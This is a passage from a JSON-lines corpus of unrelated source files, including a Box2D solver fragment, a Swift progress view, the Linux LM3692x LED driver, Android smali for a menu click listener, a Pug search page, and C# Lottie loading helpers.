m_contacts[i];\r\n\r\n\t\tconst b2ContactVelocityConstraint* vc = constraints + i;\r\n\t\t\r\n\t\tb2ContactImpulse impulse;\r\n\t\tfor (int32 j = 0; j < vc->pointCount; ++j)\r\n\t\t{\r\n\t\t\timpulse.normalImpulses[j] = vc->points[j].normalImpulse;\r\n\t\t\timpulse.tangentImpulses[j] = vc->points[j].tangentImpulse;\r\n\t\t}\r\n\r\n\t\tm_listener->PostSolve(c, &impulse);\r\n\t}\r\n}\r\n"} +{"text": "\n\n
    \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    \n"} +{"text": "set(_srcs Activator.cpp)\n\nset(dictionaryclient_DEPENDS dictionaryservice)\nCreateTutorial(dictionaryclient ${_srcs})\n"} +{"text": "\n\nimport Foundation\n\n@IBDesignable class UIDownloadProgressView: UIView {\n \n @IBInspectable var startAngle: CGFloat = .pi * 1.5 {\n didSet {\n guard oldValue != startAngle else { return }\n setNeedsDisplay()\n }\n }\n \n @IBInspectable var endAngle: CGFloat = (.pi * 1.5) + (.pi * 2) {\n didSet {\n guard oldValue != endAngle else { return }\n setNeedsDisplay()\n }\n }\n \n @IBInspectable var lineWidth: CGFloat = 1 {\n didSet {\n guard oldValue != lineWidth else { return }\n setNeedsDisplay()\n }\n }\n \n @IBInspectable var isFilled: Bool = false {\n didSet {\n guard oldValue != isFilled else { return }\n setNeedsDisplay()\n }\n }\n \n override var frame: CGRect {\n didSet {\n guard oldValue != frame else { return }\n setNeedsDisplay()\n }\n }\n \n override func tintColorDidChange() {\n super.tintColorDidChange()\n setNeedsDisplay()\n }\n \n override func draw(_ rect: CGRect) {\n let center = CGPoint(x: rect.size.width/2, y: rect.size.height/2)\n \n let path = UIBezierPath()\n tintColor.setStroke()\n tintColor.setFill()\n \n let lineWidth = isFilled ? 0 : self.lineWidth\n \n path.addArc(withCenter: center,\n radius: Swift.min(center.x, center.y) - (lineWidth/2),\n startAngle: startAngle,\n endAngle: endAngle,\n clockwise: true)\n path.lineWidth = lineWidth\n \n if isFilled {\n path.addLine(to: center)\n path.close()\n }\n \n isFilled ? path.fill() : path.stroke()\n }\n \n func sharedSetup() {\n backgroundColor = .clear\n isUserInteractionEnabled = false\n }\n \n init(startAngle: CGFloat = .pi * 1.5, endAngle: CGFloat = (.pi * 1.5) + (.pi * 2), lineWidth: CGFloat = 1, frame: CGRect = .zero, isFilled: Bool = false) {\n super.init(frame: frame)\n \n self.startAngle = startAngle\n self.endAngle = endAngle\n self.lineWidth = lineWidth\n self.isFilled = isFilled\n \n sharedSetup()\n }\n \n required init?(coder aDecoder: NSCoder) {\n super.init(coder: aDecoder)\n sharedSetup()\n }\n}\n"} +{"text": "// SPDX-License-Identifier: GPL-2.0\n// TI LM3692x LED chip family driver\n// Copyright (C) 2017-18 Texas Instruments Incorporated - http://www.ti.com/\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define LM36922_MODEL\t0\n#define LM36923_MODEL\t1\n\n#define LM3692X_REV\t\t0x0\n#define LM3692X_RESET\t\t0x1\n#define LM3692X_EN\t\t0x10\n#define LM3692X_BRT_CTRL\t0x11\n#define LM3692X_PWM_CTRL\t0x12\n#define LM3692X_BOOST_CTRL\t0x13\n#define LM3692X_AUTO_FREQ_HI\t0x15\n#define LM3692X_AUTO_FREQ_LO\t0x16\n#define LM3692X_BL_ADJ_THRESH\t0x17\n#define LM3692X_BRT_LSB\t\t0x18\n#define LM3692X_BRT_MSB\t\t0x19\n#define LM3692X_FAULT_CTRL\t0x1e\n#define LM3692X_FAULT_FLAGS\t0x1f\n\n#define LM3692X_SW_RESET\tBIT(0)\n#define LM3692X_DEVICE_EN\tBIT(0)\n#define LM3692X_LED1_EN\t\tBIT(1)\n#define LM3692X_LED2_EN\t\tBIT(2)\n#define LM36923_LED3_EN\t\tBIT(3)\n#define LM3692X_ENABLE_MASK\t(LM3692X_DEVICE_EN | LM3692X_LED1_EN | \\\n\t\t\t\t LM3692X_LED2_EN | LM36923_LED3_EN)\n\n/* Brightness Control Bits */\n#define LM3692X_BL_ADJ_POL\tBIT(0)\n#define LM3692X_RAMP_RATE_125us\t0x00\n#define LM3692X_RAMP_RATE_250us\tBIT(1)\n#define LM3692X_RAMP_RATE_500us BIT(2)\n#define LM3692X_RAMP_RATE_1ms\t(BIT(1) | BIT(2))\n#define LM3692X_RAMP_RATE_2ms\tBIT(3)\n#define LM3692X_RAMP_RATE_4ms\t(BIT(3) | BIT(1))\n#define LM3692X_RAMP_RATE_8ms\t(BIT(2) | BIT(3))\n#define LM3692X_RAMP_RATE_16ms\t(BIT(1) | BIT(2) | BIT(3))\n#define LM3692X_RAMP_EN\t\tBIT(4)\n#define LM3692X_BRHT_MODE_REG\t0x00\n#define LM3692X_BRHT_MODE_PWM\tBIT(5)\n#define LM3692X_BRHT_MODE_MULTI_RAMP BIT(6)\n#define LM3692X_BRHT_MODE_RAMP_MULTI (BIT(5) | BIT(6))\n#define LM3692X_MAP_MODE_EXP\tBIT(7)\n\n/* PWM Register Bits */\n#define LM3692X_PWM_FILTER_100\tBIT(0)\n#define LM3692X_PWM_FILTER_150\tBIT(1)\n#define LM3692X_PWM_FILTER_200\t(BIT(0) | BIT(1))\n#define LM3692X_PWM_HYSTER_1LSB BIT(2)\n#define LM3692X_PWM_HYSTER_2LSB\tBIT(3)\n#define LM3692X_PWM_HYSTER_3LSB (BIT(3) | BIT(2))\n#define LM3692X_PWM_HYSTER_4LSB BIT(4)\n#define LM3692X_PWM_HYSTER_5LSB (BIT(4) | BIT(2))\n#define LM3692X_PWM_HYSTER_6LSB (BIT(4) | BIT(3))\n#define LM3692X_PWM_POLARITY\tBIT(5)\n#define LM3692X_PWM_SAMP_4MHZ\tBIT(6)\n#define LM3692X_PWM_SAMP_24MHZ\tBIT(7)\n\n/* Boost Control Bits */\n#define LM3692X_OCP_PROT_1A\tBIT(0)\n#define LM3692X_OCP_PROT_1_25A\tBIT(1)\n#define LM3692X_OCP_PROT_1_5A\t(BIT(0) | BIT(1))\n#define LM3692X_OVP_21V\t\tBIT(2)\n#define LM3692X_OVP_25V\t\tBIT(3)\n#define LM3692X_OVP_29V\t\t(BIT(2) | BIT(3))\n#define LM3692X_MIN_IND_22UH\tBIT(4)\n#define LM3692X_BOOST_SW_1MHZ\tBIT(5)\n#define LM3692X_BOOST_SW_NO_SHIFT\tBIT(6)\n\n/* Fault Control Bits */\n#define LM3692X_FAULT_CTRL_OVP BIT(0)\n#define LM3692X_FAULT_CTRL_OCP BIT(1)\n#define LM3692X_FAULT_CTRL_TSD BIT(2)\n#define LM3692X_FAULT_CTRL_OPEN BIT(3)\n\n/* Fault Flag Bits */\n#define LM3692X_FAULT_FLAG_OVP BIT(0)\n#define LM3692X_FAULT_FLAG_OCP BIT(1)\n#define LM3692X_FAULT_FLAG_TSD BIT(2)\n#define LM3692X_FAULT_FLAG_SHRT BIT(3)\n#define LM3692X_FAULT_FLAG_OPEN BIT(4)\n\n/**\n * struct lm3692x_led -\n * @lock - Lock for reading/writing the device\n * @client - Pointer to the I2C client\n * @led_dev - LED class device pointer\n * @regmap - Devices register map\n * @enable_gpio - VDDIO/EN gpio to enable communication interface\n * @regulator - LED supply regulator pointer\n * @label - LED label\n * @led_enable - LED sync to be enabled\n * @model_id - Current device model ID enumerated\n */\nstruct lm3692x_led {\n\tstruct mutex lock;\n\tstruct i2c_client *client;\n\tstruct led_classdev led_dev;\n\tstruct regmap *regmap;\n\tstruct gpio_desc *enable_gpio;\n\tstruct regulator *regulator;\n\tchar label[LED_MAX_NAME_SIZE];\n\tint led_enable;\n\tint model_id;\n};\n\nstatic const struct reg_default lm3692x_reg_defs[] = {\n\t{LM3692X_EN, 0xf},\n\t{LM3692X_BRT_CTRL, 0x61},\n\t{LM3692X_PWM_CTRL, 0x73},\n\t{LM3692X_BOOST_CTRL, 0x6f},\n\t{LM3692X_AUTO_FREQ_HI, 0x0},\n\t{LM3692X_AUTO_FREQ_LO, 0x0},\n\t{LM3692X_BL_ADJ_THRESH, 0x0},\n\t{LM3692X_BRT_LSB, 0x7},\n\t{LM3692X_BRT_MSB, 0xff},\n\t{LM3692X_FAULT_CTRL, 0x7},\n};\n\nstatic const struct regmap_config lm3692x_regmap_config = {\n\t.reg_bits = 8,\n\t.val_bits = 8,\n\n\t.max_register = LM3692X_FAULT_FLAGS,\n\t.reg_defaults = lm3692x_reg_defs,\n\t.num_reg_defaults = ARRAY_SIZE(lm3692x_reg_defs),\n\t.cache_type = REGCACHE_RBTREE,\n};\n\nstatic int lm3692x_fault_check(struct lm3692x_led *led)\n{\n\tint ret;\n\tunsigned int read_buf;\n\n\tret = regmap_read(led->regmap, LM3692X_FAULT_FLAGS, &read_buf);\n\tif (ret)\n\t\treturn ret;\n\n\tif (read_buf)\n\t\tdev_err(&led->client->dev, \"Detected a fault 0x%X\\n\", read_buf);\n\n\t/* The first read may clear the fault. Check again to see if the fault\n\t * still exits and return that value.\n\t */\n\tregmap_read(led->regmap, LM3692X_FAULT_FLAGS, &read_buf);\n\tif (read_buf)\n\t\tdev_err(&led->client->dev, \"Second read of fault flags 0x%X\\n\",\n\t\t\tread_buf);\n\n\treturn read_buf;\n}\n\nstatic int lm3692x_brightness_set(struct led_classdev *led_cdev,\n\t\t\t\tenum led_brightness brt_val)\n{\n\tstruct lm3692x_led *led =\n\t\t\tcontainer_of(led_cdev, struct lm3692x_led, led_dev);\n\tint ret;\n\tint led_brightness_lsb = (brt_val >> 5);\n\n\tmutex_lock(&led->lock);\n\n\tret = lm3692x_fault_check(led);\n\tif (ret) {\n\t\tdev_err(&led->client->dev, \"Cannot read/clear faults\\n\");\n\t\tgoto out;\n\t}\n\n\tret = regmap_write(led->regmap, LM3692X_BRT_MSB, brt_val);\n\tif (ret) {\n\t\tdev_err(&led->client->dev, \"Cannot write MSB\\n\");\n\t\tgoto out;\n\t}\n\n\tret = regmap_write(led->regmap, LM3692X_BRT_LSB, led_brightness_lsb);\n\tif (ret) {\n\t\tdev_err(&led->client->dev, \"Cannot write LSB\\n\");\n\t\tgoto out;\n\t}\nout:\n\tmutex_unlock(&led->lock);\n\treturn ret;\n}\n\nstatic int lm3692x_init(struct lm3692x_led *led)\n{\n\tint enable_state;\n\tint ret;\n\n\tif (led->regulator) {\n\t\tret = regulator_enable(led->regulator);\n\t\tif (ret) {\n\t\t\tdev_err(&led->client->dev,\n\t\t\t\t\"Failed to enable regulator\\n\");\n\t\t\treturn ret;\n\t\t}\n\t}\n\n\tif (led->enable_gpio)\n\t\tgpiod_direction_output(led->enable_gpio, 1);\n\n\tret = lm3692x_fault_check(led);\n\tif (ret) {\n\t\tdev_err(&led->client->dev, \"Cannot read/clear faults\\n\");\n\t\tgoto out;\n\t}\n\n\tret = regmap_write(led->regmap, LM3692X_BRT_CTRL, 0x00);\n\tif (ret)\n\t\tgoto out;\n\n\t/*\n\t * For glitch free operation, the following data should\n\t * only be written while LEDx enable bits are 0 and the device enable\n\t * bit is set to 1.\n\t * per Section 7.5.14 of the data sheet\n\t */\n\tret = regmap_write(led->regmap, LM3692X_EN, LM3692X_DEVICE_EN);\n\tif (ret)\n\t\tgoto out;\n\n\t/* Set the brightness to 0 so when enabled the LEDs do not come\n\t * on with full brightness.\n\t */\n\tret = regmap_write(led->regmap, LM3692X_BRT_MSB, 0);\n\tif (ret)\n\t\tgoto out;\n\n\tret = regmap_write(led->regmap, LM3692X_BRT_LSB, 0);\n\tif (ret)\n\t\tgoto out;\n\n\tret = regmap_write(led->regmap, LM3692X_PWM_CTRL,\n\t\tLM3692X_PWM_FILTER_100 | LM3692X_PWM_SAMP_24MHZ);\n\tif (ret)\n\t\tgoto out;\n\n\tret = regmap_write(led->regmap, LM3692X_BOOST_CTRL,\n\t\t\tLM3692X_BRHT_MODE_RAMP_MULTI |\n\t\t\tLM3692X_BL_ADJ_POL |\n\t\t\tLM3692X_RAMP_RATE_250us);\n\tif (ret)\n\t\tgoto out;\n\n\tret = regmap_write(led->regmap, LM3692X_AUTO_FREQ_HI, 0x00);\n\tif (ret)\n\t\tgoto out;\n\n\tret = regmap_write(led->regmap, LM3692X_AUTO_FREQ_LO, 0x00);\n\tif (ret)\n\t\tgoto out;\n\n\tret = regmap_write(led->regmap, LM3692X_BL_ADJ_THRESH, 0x00);\n\tif (ret)\n\t\tgoto out;\n\n\tret = regmap_write(led->regmap, LM3692X_BRT_CTRL,\n\t\t\tLM3692X_BL_ADJ_POL | LM3692X_PWM_HYSTER_4LSB);\n\tif (ret)\n\t\tgoto out;\n\n\tswitch (led->led_enable) {\n\tcase 0:\n\tdefault:\n\t\tif (led->model_id == LM36923_MODEL)\n\t\t\tenable_state = LM3692X_LED1_EN | LM3692X_LED2_EN |\n\t\t\t LM36923_LED3_EN;\n\t\telse\n\t\t\tenable_state = LM3692X_LED1_EN | LM3692X_LED2_EN;\n\n\t\tbreak;\n\tcase 1:\n\t\tenable_state = LM3692X_LED1_EN;\n\t\tbreak;\n\tcase 2:\n\t\tenable_state = LM3692X_LED2_EN;\n\t\tbreak;\n\n\tcase 3:\n\t\tif (led->model_id == LM36923_MODEL) {\n\t\t\tenable_state = LM36923_LED3_EN;\n\t\t\tbreak;\n\t\t}\n\n\t\tret = -EINVAL;\n\t\tdev_err(&led->client->dev,\n\t\t\t\"LED3 sync not available on this device\\n\");\n\t\tgoto out;\n\t}\n\n\tret = regmap_update_bits(led->regmap, LM3692X_EN, LM3692X_ENABLE_MASK,\n\t\t\t\t enable_state | LM3692X_DEVICE_EN);\n\n\treturn ret;\nout:\n\tdev_err(&led->client->dev, \"Fail writing initialization values\\n\");\n\n\tif (led->enable_gpio)\n\t\tgpiod_direction_output(led->enable_gpio, 0);\n\n\tif (led->regulator) {\n\t\tret = regulator_disable(led->regulator);\n\t\tif (ret)\n\t\t\tdev_err(&led->client->dev,\n\t\t\t\t\"Failed to disable regulator\\n\");\n\t}\n\n\treturn ret;\n}\nstatic int lm3692x_probe_dt(struct lm3692x_led *led)\n{\n\tstruct fwnode_handle *child = NULL;\n\tconst char *name;\n\tint ret;\n\n\tled->enable_gpio = devm_gpiod_get_optional(&led->client->dev,\n\t\t\t\t\t\t \"enable\", GPIOD_OUT_LOW);\n\tif (IS_ERR(led->enable_gpio)) {\n\t\tret = PTR_ERR(led->enable_gpio);\n\t\tdev_err(&led->client->dev, \"Failed to get enable gpio: %d\\n\",\n\t\t\tret);\n\t\treturn ret;\n\t}\n\n\tled->regulator = devm_regulator_get(&led->client->dev, \"vled\");\n\tif (IS_ERR(led->regulator))\n\t\tled->regulator = NULL;\n\n\tchild = device_get_next_child_node(&led->client->dev, child);\n\tif (!child) {\n\t\tdev_err(&led->client->dev, \"No LED Child node\\n\");\n\t\treturn -ENODEV;\n\t}\n\n\tfwnode_property_read_string(child, \"linux,default-trigger\",\n\t\t\t\t &led->led_dev.default_trigger);\n\n\tret = fwnode_property_read_string(child, \"label\", &name);\n\tif (ret)\n\t\tsnprintf(led->label, sizeof(led->label),\n\t\t\t\"%s::\", led->client->name);\n\telse\n\t\tsnprintf(led->label, sizeof(led->label),\n\t\t\t \"%s:%s\", led->client->name, name);\n\n\tret = fwnode_property_read_u32(child, \"reg\", &led->led_enable);\n\tif (ret) {\n\t\tdev_err(&led->client->dev, \"reg DT property missing\\n\");\n\t\treturn ret;\n\t}\n\n\tled->led_dev.name = led->label;\n\n\tret = devm_led_classdev_register(&led->client->dev, &led->led_dev);\n\tif (ret) {\n\t\tdev_err(&led->client->dev, \"led register err: %d\\n\", ret);\n\t\treturn ret;\n\t}\n\n\tled->led_dev.dev->of_node = to_of_node(child);\n\n\treturn 0;\n}\n\nstatic int lm3692x_probe(struct i2c_client *client,\n\t\t\tconst struct i2c_device_id *id)\n{\n\tstruct lm3692x_led *led;\n\tint ret;\n\n\tled = devm_kzalloc(&client->dev, sizeof(*led), GFP_KERNEL);\n\tif (!led)\n\t\treturn -ENOMEM;\n\n\tmutex_init(&led->lock);\n\tled->client = client;\n\tled->led_dev.brightness_set_blocking = lm3692x_brightness_set;\n\tled->model_id = id->driver_data;\n\ti2c_set_clientdata(client, led);\n\n\tled->regmap = devm_regmap_init_i2c(client, &lm3692x_regmap_config);\n\tif (IS_ERR(led->regmap)) {\n\t\tret = PTR_ERR(led->regmap);\n\t\tdev_err(&client->dev, \"Failed to allocate register map: %d\\n\",\n\t\t\tret);\n\t\treturn ret;\n\t}\n\n\tret = lm3692x_probe_dt(led);\n\tif (ret)\n\t\treturn ret;\n\n\tret = lm3692x_init(led);\n\tif (ret)\n\t\treturn ret;\n\n\treturn 0;\n}\n\nstatic int lm3692x_remove(struct i2c_client *client)\n{\n\tstruct lm3692x_led *led = i2c_get_clientdata(client);\n\tint ret;\n\n\tret = regmap_update_bits(led->regmap, LM3692X_EN, LM3692X_DEVICE_EN, 0);\n\tif (ret) {\n\t\tdev_err(&led->client->dev, \"Failed to disable regulator\\n\");\n\t\treturn ret;\n\t}\n\n\tif (led->enable_gpio)\n\t\tgpiod_direction_output(led->enable_gpio, 0);\n\n\tif (led->regulator) {\n\t\tret = regulator_disable(led->regulator);\n\t\tif (ret)\n\t\t\tdev_err(&led->client->dev,\n\t\t\t\t\"Failed to disable regulator\\n\");\n\t}\n\n\tmutex_destroy(&led->lock);\n\n\treturn 0;\n}\n\nstatic const struct i2c_device_id lm3692x_id[] = {\n\t{ \"lm36922\", LM36922_MODEL },\n\t{ \"lm36923\", LM36923_MODEL },\n\t{ }\n};\nMODULE_DEVICE_TABLE(i2c, lm3692x_id);\n\nstatic const struct of_device_id of_lm3692x_leds_match[] = {\n\t{ .compatible = \"ti,lm36922\", },\n\t{ .compatible = \"ti,lm36923\", },\n\t{},\n};\nMODULE_DEVICE_TABLE(of, of_lm3692x_leds_match);\n\nstatic struct i2c_driver lm3692x_driver = {\n\t.driver = {\n\t\t.name\t= \"lm3692x\",\n\t\t.of_match_table = of_lm3692x_leds_match,\n\t},\n\t.probe\t\t= lm3692x_probe,\n\t.remove\t\t= lm3692x_remove,\n\t.id_table\t= lm3692x_id,\n};\nmodule_i2c_driver(lm3692x_driver);\n\nMODULE_DESCRIPTION(\"Texas Instruments LM3692X LED driver\");\nMODULE_AUTHOR(\"Dan Murphy \");\nMODULE_LICENSE(\"GPL v2\");\n"} +{"text": ".class Landroid/support/v7/view/SupportMenuInflater$InflatedOnMenuItemClickListener;\n.super Ljava/lang/Object;\n\n# interfaces\n.implements Landroid/view/MenuItem$OnMenuItemClickListener;\n\n\n# static fields\n.field private static final PARAM_TYPES:[Ljava/lang/Class;\n .annotation system Ldalvik/annotation/Signature;\n value = {\n \"[\",\n \"Ljava/lang/Class\",\n \"<*>;\"\n }\n .end annotation\n.end field\n\n\n# instance fields\n.field private mMethod:Ljava/lang/reflect/Method;\n\n.field private mRealOwner:Ljava/lang/Object;\n\n\n# direct methods\n.method static constructor ()V\n .locals 3\n\n const/4 v0, 0x1\n\n new-array v0, v0, [Ljava/lang/Class;\n\n const/4 v1, 0x0\n\n const-class v2, Landroid/view/MenuItem;\n\n aput-object v2, v0, v1\n\n sput-object v0, Landroid/support/v7/view/SupportMenuInflater$InflatedOnMenuItemClickListener;->PARAM_TYPES:[Ljava/lang/Class;\n\n return-void\n.end method\n\n.method public constructor (Ljava/lang/Object;Ljava/lang/String;)V\n .locals 5\n\n invoke-direct {p0}, Ljava/lang/Object;->()V\n\n iput-object p1, p0, Landroid/support/v7/view/SupportMenuInflater$InflatedOnMenuItemClickListener;->mRealOwner:Ljava/lang/Object;\n\n invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;\n\n move-result-object v1\n\n :try_start_0\n sget-object v0, Landroid/support/v7/view/SupportMenuInflater$InflatedOnMenuItemClickListener;->PARAM_TYPES:[Ljava/lang/Class;\n\n invoke-virtual {v1, p2, v0}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;\n\n move-result-object v0\n\n iput-object v0, p0, Landroid/support/v7/view/SupportMenuInflater$InflatedOnMenuItemClickListener;->mMethod:Ljava/lang/reflect/Method;\n :try_end_0\n .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0\n\n return-void\n\n :catch_0\n move-exception v0\n\n new-instance v2, Landroid/view/InflateException;\n\n new-instance v3, Ljava/lang/StringBuilder;\n\n invoke-direct {v3}, Ljava/lang/StringBuilder;->()V\n\n const-string/jumbo v4, \"Couldn\\'t resolve menu item onClick handler \"\n\n invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;\n\n move-result-object v3\n\n invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;\n\n move-result-object v3\n\n const-string/jumbo v4, \" in class \"\n\n invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;\n\n move-result-object v3\n\n invoke-virtual {v1}, Ljava/lang/Class;->getName()Ljava/lang/String;\n\n move-result-object v1\n\n invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;\n\n move-result-object v1\n\n invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;\n\n move-result-object v1\n\n invoke-direct {v2, v1}, Landroid/view/InflateException;->(Ljava/lang/String;)V\n\n invoke-virtual {v2, v0}, Landroid/view/InflateException;->initCause(Ljava/lang/Throwable;)Ljava/lang/Throwable;\n\n throw v2\n.end method\n\n\n# virtual methods\n.method public onMenuItemClick(Landroid/view/MenuItem;)Z\n .locals 5\n\n const/4 v0, 0x1\n\n :try_start_0\n iget-object v1, p0, Landroid/support/v7/view/SupportMenuInflater$InflatedOnMenuItemClickListener;->mMethod:Ljava/lang/reflect/Method;\n\n invoke-virtual {v1}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;\n\n move-result-object v1\n\n sget-object v2, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;\n\n if-ne v1, v2, :cond_0\n\n iget-object v0, p0, Landroid/support/v7/view/SupportMenuInflater$InflatedOnMenuItemClickListener;->mMethod:Ljava/lang/reflect/Method;\n\n iget-object v1, p0, Landroid/support/v7/view/SupportMenuInflater$InflatedOnMenuItemClickListener;->mRealOwner:Ljava/lang/Object;\n\n const/4 v2, 0x1\n\n new-array v2, v2, [Ljava/lang/Object;\n\n const/4 v3, 0x0\n\n aput-object p1, v2, v3\n\n invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;\n\n move-result-object v0\n\n check-cast v0, Ljava/lang/Boolean;\n\n invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z\n\n move-result v0\n\n :goto_0\n return v0\n\n :cond_0\n iget-object v1, p0, Landroid/support/v7/view/SupportMenuInflater$InflatedOnMenuItemClickListener;->mMethod:Ljava/lang/reflect/Method;\n\n iget-object v2, p0, Landroid/support/v7/view/SupportMenuInflater$InflatedOnMenuItemClickListener;->mRealOwner:Ljava/lang/Object;\n\n const/4 v3, 0x1\n\n new-array v3, v3, [Ljava/lang/Object;\n\n const/4 v4, 0x0\n\n aput-object p1, v3, v4\n\n invoke-virtual {v1, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;\n :try_end_0\n .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0\n\n goto :goto_0\n\n :catch_0\n move-exception v0\n\n new-instance v1, Ljava/lang/RuntimeException;\n\n invoke-direct {v1, v0}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V\n\n throw v1\n.end method\n"} +{"text": "extends layout\n\nblock headContent\n\ttitle Search\n\nblock content\n\th1.h3 Search\n\thr\n\n\tdiv.card.shadow-sm.mb-huge\n\t\tdiv.card-body\n\t\t\tform.form.form-inline(method=\"post\", action=\"/search\")\n\t\t\t\tinput(type=\"hidden\", name=\"_csrf\", value=csrfToken)\n\n\t\t\t\tdiv.input-group\n\t\t\t\t\tinput.form-control(type=\"text\", name=\"query\", placeholder=\"block height/hash, txid, address\", value=(query), style=\"width: 400px;\")\n\t\t\t\t\t\n\t\t\t\t\tdiv.input-group-append\n\t\t\t\t\t\tbutton.btn.btn-primary(type=\"submit\") Search"} +{"text": "using System;\nusing System.Threading;\nusing System.Threading.Tasks;\nusing Android.Content;\n\nnamespace Com.Airbnb.Lottie\n{\n public partial class LottieComposition\n {\n public partial class Factory\n {\n /// \n /// Asynchronously loads a composition from a file stored in /assets.\n /// \n public static ICancellable FromAssetFileName(Context context, string fileName, Action onLoaded)\n {\n return Factory.FromAssetFileName(context, fileName, new ActionCompositionLoaded(onLoaded));\n }\n\n /// \n /// Asynchronously loads a composition from an arbitrary input stream.\n /// \n public static ICancellable FromInputStream(System.IO.Stream stream, Action onLoaded)\n {\n return Factory.FromInputStream(stream, new ActionCompositionLoaded(onLoaded));\n }\n\n /// \n /// Asynchronously loads a composition from a json string. This is useful for animations loaded from the network.\n /// \n public static ICancellable FromJsonString(string jsonString, Action onLoaded)\n {\n return Factory.FromJsonString(jsonString, new ActionCompositionLoaded(onLoaded));\n }\n\n ///// \n ///// Asynchronously loads a composition from a file stored in /assets.\n ///// \n public static Task FromAssetFileNameAsync(Context context, string fileName)\n {\n return FromAssetFileNameAsync(context, fileName, CancellationToken.None);\n }\n\n /////// \n /////// Asynchronously loads a composition from a file stored in /assets.\n /////// \n public static Task FromAssetFileNameAsync(Context context, string fileName, CancellationToken cancellationToken)\n {\n if (cancellationToken.IsCancellationRequested)\n return Task.FromCanceled(cancellationToken);\n\n var tcs = new TaskCompletionSource();\n var cancelable = Factory.FromAssetFileName(context, fileName, (composition) =>\n {\n cancellationToken.ThrowIfCancellationRequested();\n tcs.SetResult(composition);\n });\n\n cancellationToken.Register(() =>\n {\n if (!tcs.Task.IsCompleted)\n {\n cancelable.Cancel();\n tcs.TrySetCanceled(cancellationToken);\n }\n });\n\n return tcs.Task;\n }\n\n ///// \n ///// Asynchronously loads a composition from an arbitrary input stream.\n ///// \n public static Task FromInputStreamAsync(Context context, System.IO.Stream stream)\n {\n return FromInputStreamAsync(stream, CancellationToken.None);\n }\n\n ///// \n ///// Asynchronously loads a composition from an arbitrary input stream.\n ///// \n public static Task FromInputStreamAsync(System.IO.Stream stream, CancellationToken cancellationToken)\n {\n if (cancellationToken.IsCancellationRequested)\n return Task.FromCanceled(cancellationToken);\n\n var tcs = new TaskCompletionSource();\n var cancelable = Factory.FromInputStream(stream, (composition) =>\n {\n cancellationToken.ThrowIfCancellationRequested();\n tcs.SetResult(composition);\n });\n\n cancellationToken.Register(() =>\n {\n if (!tcs.Task.IsCompleted)\n {\n cancelable.Cancel();\n tcs.TrySetCanceled(cancellationToken);\n }\n });\n\n return tcs.Task;\n }\n\n ///// \n ///// Asynchronously loads a composition from a raw json object. This is useful for animations loaded from the network.\n ///// \n public static Task FromJsonStringAsync(string jsonString)\n {\n return FromJsonStringAsync(jsonString, CancellationToken.None);\n }\n\n ///// \n ///// Asynchronously loads a composition from a raw json object. This is useful for animations loaded from the network.\n ///// \n public static Task FromJsonStringAsync(string jsonString, CancellationToken cancellationToken)\n {\n if (cancellationToken.IsCancellationRequested)\n return Task.FromCanceled(cancellationToken);\n\n var tcs = new TaskCompletionSource();\n var cancelable = Factory.FromJsonString(jsonString, (composition) =>\n {\n cancellationToken.ThrowIfCancellationRequested();\n tcs.SetResult(composition);\n });\n\n cancellationToken.Register(() =>\n {\n if (!tcs.Task.IsCompleted)\n {\n cancelable.Cancel();\n tcs.TrySetCanceled(cancellationToken);\n }\n });\n\n return tcs.Task;\n }\n\n internal sealed class ActionCompositionLoaded : Java.Lang.Object, IOnCompositionLoadedListener\n {\n private readonly Action onLoaded;\n\n public ActionCompositionLoaded(Action onLoaded)\n {\n this.onLoaded = onLoaded;\n }\n\n public void OnCompositionLoaded(LottieComposition compostion)\n {\n if (onLoaded != null)\n {\n onLoaded(compostion);\n }\n }\n }\n }\n }\n}"} +{"text": "package tv.porst.swfretools.parser.structures;\n\nimport static tv.porst.swfretools.parser.SWFParserHelpers.parseUINT16If;\nimport static tv.porst.swfretools.parser.SWFParserHelpers.parseUINT8;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport tv.porst.splib.binaryparser.Flag;\nimport tv.porst.splib.binaryparser.UINT16;\nimport tv.porst.splib.binaryparser.UINT8;\nimport 